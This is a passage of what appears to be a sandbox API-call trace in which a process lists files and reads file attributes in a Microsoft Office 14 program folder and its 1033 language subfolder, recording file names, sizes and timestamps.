	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="MI5659~1.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="MI1B7D~1.XML")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="MI2E5E~1.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="MICROS~3.XML")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="MIBA26~1.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="MI8366~1.XML")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="MICROS~4.XML")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="MI6145~1.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="MIE42F~1.DLL")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="MIF37A~1.DLL")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="MICROS~2.XML")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1
	[0052.055] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0x0, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2796a00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2796a00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x8b760, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc.exe", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLCFG32.CPL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x5980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLSHEXT.DLL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79fd00, ftCreationTime.dwHighDateTime=0x1c9cdff, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe79fd00, ftLastWriteTime.dwHighDateTime=0x1c9cdff, nFileSizeHigh=0x0, nFileSizeLow=0x25f87, dwReserved0=0x0, dwReserved1=0x0, cFileName="MML2OMML.XSL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6140cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9f368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MODELENG.DLL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0x9a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MORPH9.DLL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82755f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x32960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPXINT.DLL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="MSACCE~1.MAN")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1
	[0052.056] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1
	[0052.061] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x127177c8 | out: lpFileInformation=0x127177c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1
	[0052.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.085] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272c508 | out: lpFileInformation=0x1272c508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0)) returned 1
	[0052.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), fInfoLevelId=0x0, lpFileInformation=0x1272c558 | out: lpFileInformation=0x1272c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000)) returned 1
	[0052.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272c5a8 | out: lpFileInformation=0x1272c5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8)) returned 1
	[0052.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272c5f8 | out: lpFileInformation=0x1272c5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88)) returned 1
	[0052.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), fInfoLevelId=0x0, lpFileInformation=0x1272c648 | out: lpFileInformation=0x1272c648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0)) returned 1
